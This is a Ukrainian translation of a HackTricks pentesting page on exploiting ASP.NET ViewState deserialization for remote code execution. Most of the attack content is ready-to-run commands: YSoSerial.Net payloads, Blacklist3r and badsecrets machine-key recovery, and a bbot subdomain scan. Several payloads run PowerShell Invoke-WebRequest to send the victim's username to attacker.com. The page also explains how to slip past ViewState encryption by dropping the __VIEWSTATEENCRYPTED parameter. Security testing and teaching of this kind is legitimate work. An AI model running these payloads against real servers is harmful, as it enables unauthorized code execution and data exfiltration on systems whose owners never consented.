Exploiting __VIEWSTATE without knowing the secrets

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Підказка щодо багів у винагороду: зареєструйтеся на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

Що таке ViewState

ViewState служить основним механізмом в ASP.NET для збереження даних сторінки та елементів управління на веб-сторінках. Під час рендерингу HTML сторінки поточний стан сторінки та значення, які потрібно зберегти під час повторного відправлення, серіалізуються в рядки, закодовані в base64. Ці рядки потім поміщаються в приховані поля ViewState.

Інформацію ViewState можна характеризувати наступними властивостями або їх комбінаціями:

  • Base64:

  • Цей формат використовується, коли як EnableViewStateMac, так і ViewStateEncryptionMode встановлені в значення false.

  • Base64 + MAC (Message Authentication Code) Enabled:

  • Активація MAC досягається шляхом встановлення атрибуту EnableViewStateMac в значення true. Це забезпечує перевірку цілісності даних ViewState.

  • Base64 + Encrypted:

  • Шифрування застосовується, коли атрибут ViewStateEncryptionMode встановлений в значення true, забезпечуючи конфіденційність даних ViewState.

Тестові випадки

Зображення - це таблиця, що деталізує різні конфігурації ViewState в ASP.NET на основі версії .NET framework. Ось підсумок вмісту:

  1. Для будь-якої версії .NET, коли обидва MAC та Шифрування вимкнені, MachineKey не потрібний, тому немає застосовного методу для його ідентифікації.

  2. Для версій нижче 4.5, якщо MAC увімкнено, але Шифрування ні, потрібен MachineKey. Метод ідентифікації MachineKey називається "Blacklist3r."

  3. Для версій нижче 4.5, незалежно від того, чи MAC увімкнено чи вимкнено, якщо Шифрування увімкнено, потрібен MachineKey. Ідентифікація MachineKey - завдання для "Blacklist3r - майбутній розвиток."

  4. Для версій 4.5 і вище, всі комбінації MAC та Шифрування (чи обидва true, чи одне true, а інше false) потребують MachineKey. MachineKey можна ідентифікувати за допомогою "Blacklist3r."

Тестовий випадок: 1 – EnableViewStateMac=false та viewStateEncryptionMode=false

Також можливо повністю вимкнути ViewStateMAC, встановивши ключ реєстру AspNetEnforceViewStateMac на нуль в:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Визначення атрибутів ViewState

Ви можете спробувати визначити, чи захищений параметр ViewState за допомогою MAC, захопивши запит, що містить цей параметр за допомогою BurpSuite. Якщо MAC не використовується для захисту параметра, ви можете використати його за допомогою YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Розробники можуть видалити ViewState з частини запиту HTTP (користувач не отримає це печиво). Можна припустити, що якщо ViewState відсутній, їхня реалізація захищена від будь-яких потенційних вразливостей, що виникають з десеріалізацією ViewState. Однак це не так. Якщо ми додаємо параметр ViewState до тіла запиту і відправляємо наш серіалізований навантаження, створений за допомогою ysoserial, ми все ще зможемо досягти виконання коду, як показано в Випадок 1.

Тестовий випадок: 2 - .Net < 4.5 та EnableViewStateMac=true & ViewStateEncryptionMode=false

Для увімкнення ViewState MAC для конкретної сторінки нам потрібно внести наступні зміни у конкретний файл aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Ми також можемо зробити це для загального застосування, встановивши його в файлі web.config, як показано нижче:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Якщо параметр захищений MAC, щоб успішно виконати атаку, спочатку нам потрібен використаний ключ.

Ви можете спробувати використати Blacklist3r(AspDotNetWrapper.exe) , щоб знайти використаний ключ.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets - це ще один інструмент, який може ідентифікувати відомі machineKeys. Він написаний на Python, тому, на відміну від Blacklist3r, він не має залежності від Windows. Для .NET viewstates існує утиліта "python blacklist3r", яка є найшвидшим способом використання його.

Можна постачати його або безпосередньо з viewstate та генератором:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Або він може підключитися безпосередньо до цільового URL та спробувати вирізати viewstate з HTML:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Для пошуку вразливих viewstates в масштабі, разом з переліком піддоменів, можна використовувати модуль badsecrets BBOT.

bbot -f subdomain-enum -m badsecrets -t evil.corp

Якщо ви маєте щастя і ключ знайдено, ви можете продовжити атаку, використовуючи YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

У випадках, коли параметр _VIEWSTATEGENERATOR не відправляється сервером, вам не потрібно надавати параметр --generator, але ці:

--apppath="/" --path="/hello.aspx"

Тестовий випадок: 3 - .Net < 4.5 та EnableViewStateMac=true/false та ViewStateEncryptionMode=true

У цьому випадку невідомо, чи захищений параметр за допомогою MAC. Тоді значення, ймовірно, зашифроване, і вам потрібен Machine Key для шифрування вашого навантаження, щоб використати уразливість.

У цьому випадку Blacklist3r модуль знаходиться в стадії розробки...

До .NET 4.5, ASP.NET може приймати незашифрований параметр __VIEWSTATE від користувачів, навіть якщо ViewStateEncryptionMode встановлено на Always. ASP.NET лише перевіряє наявність параметра __VIEWSTATEENCRYPTED у запиті. Якщо ви видалите цей параметр і надішлете незашифроване навантаження, воно все одно буде оброблено.

Отже, якщо зловмисники знайдуть спосіб отримати Machinekey через іншу уразливість, наприклад, обхід файлів, YSoSerial.Net команда, використана в Випадку 2, може бути використана для виконання RCE за допомогою уразливості десеріалізації ViewState.

  • Видаліть параметр __VIEWSTATEENCRYPTED з запиту, щоб використати уразливість десеріалізації ViewState, інакше буде повернута помилка перевірки MAC Viewstate, і експлойт не вдасться.

Тестовий випадок: 4 - .Net >= 4.5 та EnableViewStateMac=true/false та ViewStateEncryptionMode=true/false, крім обох атрибутів, що встановлені на false

Ми можемо змусити використання ASP.NET framework, вказавши нижченаведений параметр у файлі web.config, як показано нижче.

<httpRuntime targetFramework="4.5" />

Альтернативно, це можна зробити, вказавши нижченаведену опцію всередині параметра machineKey файлу web.config.

compatibilityMode="Framework45"

Як і раніше значення зашифроване. Тоді, щоб надіслати дійсний політ, зловмиснику потрібен ключ.

Ви можете спробувати використати Blacklist3r(AspDotNetWrapper.exe) , щоб знайти використовуваний ключ:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Для отримання більш детального опису для IISDirPath та TargetPagePath дивіться тут

Або, з Badsecrets (зі значенням генератора):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Після того, як ідентифіковано дійсний ключ машини, наступним кроком є генерація серіалізованого навантаження за допомогою YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Якщо у вас є значення __VIEWSTATEGENERATOR, ви можете спробувати використати параметр --generator з цим значенням та пропустити параметри --path та --apppath

Успішна експлуатація уразливості десеріалізації ViewState призведе до відправлення запиту на сервер, який контролюється зловмисником, і який включає ім'я користувача. Цей вид експлойту демонструється у доказовому концепції (PoC), яку можна знайти за ресурсом під назвою "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Для отримання додаткових відомостей про те, як працює процес експлуатації та як використовувати інструменти, такі як Blacklist3r для ідентифікації MachineKey, ви можете переглянути наданий PoC of Successful Exploitation.

Тестовий випадок 6 – Використання ViewStateUserKeys

Властивість ViewStateUserKey може бути використана для захисту від атаки CSRF. Якщо такий ключ був визначений у додатку і ми намагаємося згенерувати навантаження ViewState за методами, які обговорювалися до цього часу, навантаження не буде оброблено додатком. Вам потрібно використовувати ще один параметр, щоб правильно створити навантаження:

--viewstateuserkey="randomstringdefinedintheserver"

Результат успішної експлуатації

Для всіх випробувань, якщо пакунок ViewState YSoSerial.Net працює успішно, сервер відповідає "500 Internal server error" з вмістом відповіді "The state information is invalid for this page and might be corrupted" і ми отримуємо запит OOB.

Перевірте додаткову інформацію тут

Посилання

Підказка щодо багів: зареєструйтесь на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated